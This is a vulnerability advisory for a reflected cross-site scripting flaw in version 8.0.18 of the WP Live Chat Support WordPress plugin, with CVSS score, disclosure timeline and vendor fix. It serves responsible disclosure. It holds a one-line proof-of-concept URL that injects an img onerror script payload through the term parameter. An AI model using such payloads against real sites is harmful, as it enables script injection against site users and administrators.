WordPress WP Live Chat 8.0.18 Cross Site Scripting

` * Vulnerability: XSS  
* Affected Software: [WP Live Chat  
Support](https://wordpress.org/plugins/wp-live-chat-support/)  
* Affected Version: 8.0.18  
* Patched Version:  
* CVE: not requested  
* Risk: Medium  
* Vendor Contacted: 10/31/2018  
* Vendor Fix: 11/01/2018  
* Public Disclosure: 02/05/2019  
* Credit: Tim Coen  
  
##### CVSS  
  
6.1 Medium  
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)  
  
##### Overview  
  
The WP Live Chat Support WordPress plugin is vulnerable to reflected XSS  
as it echoes the term parameter without proper encoding.  
  
##### Proof of Concept  
  
  
http://192.168.0.103/wordpress/wp-admin/admin.php?page=wplivechat-menu-gdpr-page&term='"><img+src%3Dx+onerror%3Dalert(1)>  
  
##### Timeline  
  
- 10/31/2018 Requested email address via contact form  
- 10/31/2018 Vendor responds, advisory sent  
- 11/01/2018 Vendor releases fix  
- 02/05/2019 Confirmed fix & Disclosure  
  
##### Details & Full Advisory URL  
  
https://security-consulting.icu/blog/2019/02/wordpress-wp-livechat-xss/  
  
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PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89  
  
  
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